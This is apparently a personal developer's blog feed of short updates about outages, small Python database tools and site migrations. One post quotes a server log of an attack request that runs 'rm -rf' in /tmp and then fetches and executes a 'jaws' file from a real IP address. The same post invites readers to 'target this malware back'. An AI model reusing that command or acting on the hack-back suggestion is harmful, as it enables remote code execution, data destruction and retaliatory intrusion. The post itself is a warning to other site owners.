A few days ago, @CarterKJ and I launched DevTrek - a site designed to link people to various resources related to computer science. As of right now, we have only created a lightly-polished interface and some filler content, but the project is live for you to check out!
Take me there!
DevTrek public beta release
Slow server response times
I am currently investigating an issue relating to server response times. This issue is affecting all of the jvadair.com services, so please be patient.
pyntree initial release complete
Today I released pyntree, essentially a better pyndb, onto PyPI. You can try it out using "pip install pyntree", and learn more on its GitHub page.
DeeprAI
A friend of mine recently wrote a neural network module from scratch. Check it out here: https://github.com/Deepr-ai/
Posts keep being deleted from my blog
The posts section of my database keeps being deleted upon reboot - I am investigating this problem. In the meantime, here's a screenshot from an old Discord webhook that happens to be working (I don't even use Discord anymore).
Retiring my old site
As of today, Saturday October 22, the button to access my old site from this page will be removed, along with any other references to it. The site will be taken offline on Monday, October 24 at roughly 7:00 AM EST. I appreciate your continued support along my development journey.
Email may be unavailable!
Due to confusing Google storage usage which I cannot fix until later today, my Gmail account may not receive any emails sent to it. I urge you to use my personal @jvadair.com email to contact me. If you do not know which is my personal email, send an email to [email protected] so I can tell it to you privately. Thanks for the understanding! Going forward, I may ditch the Google suite entirely. Stay tuned for more privacy-related updates ;)
pyndb update
pyndb has just been upgraded to 3.4.0! This means that you can now encrypt databases. SimpleForum has already received this encryption for account data, so your passwords are safer. I apologize for not releasing this sooner. Check out the update on GitHub!
All systems go
I have finally restored all systems to full capacity. I apologize again for the outage.
Partial outage
I apologize for the partial outages that have occurred today. Here's a piece of advice: don't try to update PHP unless you have a lot of time on your hands. I've restored Nexus to full, although somewhat slow, capabilities. BookStack (pen.jvadair.com) is still down, however. I will try to resolve these issues ASAP. Thank you for the understanding.
New malware targeted at my site
[04/Apr/2022 14:27:21] "GET /shell?cd+/tmp;rm+-rf+*;wget+158.51.124.114/jaws;sh+/tmp/jaws HTTP/1.1" 404
This is the request that I saw today. I've tried googling what jaws.sh is, but I am still unsure. I may read the code later. Just note that this malware is out there, and if it can find my site, it can find yours. UPDATE: the link doesn't work Anyways, feel free to target this malware back.
Port forwarding mistake
There was a bit (I'm unsure how long) of server downtime today. This was caused by my router pointing to my server's hostname and not the IP. This became a problem due to the recent ethernet upgrade. Sidenote: I also apologize for the unrelated SimpleForum outage. I was making several security/nitpick improvements, and accidentally disrupted a few essential links/methods. All is restored, thanks for your patience.
Speed improvements
My server has been using WiFi (yes, WiFi) for internet connections over the past year-ish that it has been up. I am pleased to announce that my primary server is now connected via Ethernet. This means major speed improvements for literally everything that runs under/with jvadair.com (and pretty much all other services). Yell at me in the comments for not doing this sooner.
How python somehow saved my data today
I was restoring Chrome OS an old Chromebook today (thank you to the person who gave it to me - you know who you are (it has a cracked screen)), and made a slight mistake. I forgot to backup all of the data that I had on it first. In my incredible stupidity, I flashed the stock firmware before backing the data up. However, I hadn't restarted the device yet. So no big deal, right? Wrong. For some reason, scp, cp, and rsync all stopped working due to an input/output error. I also got a few segmentation faults from other things. However, python of all things was still working. From there I could do pretty much whatever I needed, and the shutil.copytree method apparently still worked. Needless to say, I learned a few very valuable lessons about the importance of widespread and regular backups today.
SimpleForum is now open-source
I've decided to make SimpleForum open-souce! I didn't open-source the login credentials though. You're welcome. To view all the very shady things SimpleForum does behind your back, go to https://github.com/jvadair/simpleforum. (Yes, I copy-pasted this message from the updates channel.
Commission trial
I have decided that it may be a good idea to accept software commissions. Please note that I am not a professional software developer/engineer. I have decided to create a trial system by accepting 5 commissions for free. If this goes well, I might accept paid commissions. I created this process since someone asked me for a commission on a discord bot recently. If you would like to request a commission (free for now), I have created a google form for this purpose.
Friend's site
Go check out arrows.dev. This site was recently bought by a friend, and he's been working on it for a little while (though it's mostly copy-pasted...). It's also hosted on my home server, although it won't be for long (tl;dr: if this site is down, so is his). Hopefully he adds something dynamic at some point... (if you're reading this learn Flask!)
Site migration
This site has finally replaced my old one. You can still access it at beta.jvadair.com if you want (for now), and my old site is available at old.jvadair.com. I might make some more style changes in the future, and I'll probably add some more pages. Please suggest some things I should add.
New background
I've just added a new background to the site. I actually took this image, by the way. Leave a comment if this looks neat and maybe I'll share some more photos.
Site Maintenance
Expect a few issues with both sites (new and old) today as I migrate to this one. There may be a couple broken links and odd things that happen. This site has been in beta for too long, and I'm quite happy that it will finally replace the old one.
Oops...
I accidentally deleted the index.html file, meaning the home page didn't work. I'm not sure how I managed to do that, but it's fixed now. Making another backup right after I post this...
A quick survey
If you would be so kind as to fill out this survey, it would be greatly appreciated. The survey essentially asks you what you would like to see me make and other related things. Feel free to share it if you want, more responses are always appreciated! Again, thanks for your help.
This site is about to be released from beta!
Its been a long few months, but this site has finally fully replaced my old site. Soon, it will reside at the primary domain instead of on this beta subdomain. The old site will be moved to old.jvadair.com soon and will likely remain up as long as this domain does. I first created my old site on Neocities (that site now redirects here) and downloaded and served it via Apache when I got my domain name. Since then it has gotten a few updates, and I'm proud to say that it will now be retired by an even greater and more dynamic site (I can't believe I was copy-pasting blog cards :| ).
Site updates
I made some progress on this site recently. New additions include an updated home page, an about page, header buttons showing the active page, and more*. *there isn't actually any more I don't think
New project I'm working on
I came up with an idea for a project to work on when I have some time (it'll never happen). I'm not going to disclose much about it yet, but you can check on its status and progress here and at its site.
I'm busy
Sorry to say this, but I'm pretty crammed in terms of my schedule for the upcoming weeks, so expect to hear and see little to nothing out of me. I forgot to mention I procrastinate a bit too much, which won't help the situation. I probably ought to work on that too.
Server failure
You may have noticed that jvadair.com and related services were out for a few days. The reason this happened is that the storage card in my server somehow reached the maximum write limit (not the storage capacity). In simpler terms, it broke and I had to buy a new one. I then spent a day or two copying data off the card (which had become read only - it wasn't completely broken) before making a clone of it onto the new card. In retrospect, the backups seem kind of pointless since I can't think of how cloning the card would break it. In any case, all of the stuff is safe, sound, and practically untouched. Also, if my site goes out at any point in the future, check here.
Neat little tool I built
Forgot to mention, but I built this nifty little tool named pyndb. I've been using it in all of my projects lately, such as this one, SimpleForum, various internal projects, and more that I can't think of off of the top of my head. Which is why it actually gets updates, by the way. In basic terms, it's a "database" manager. In even more basic terms, it's nerd stuff. You can check it out on GitHub.
(sort of) Lengthy message below
Alright. This is a bit of a longer message. The reasoning behind that decision was to try and test the overflow dot thingies. This post should be automatically cut off at some point, so that you have to click on it to see the full text. I haven't fully implemented that bit yet tho.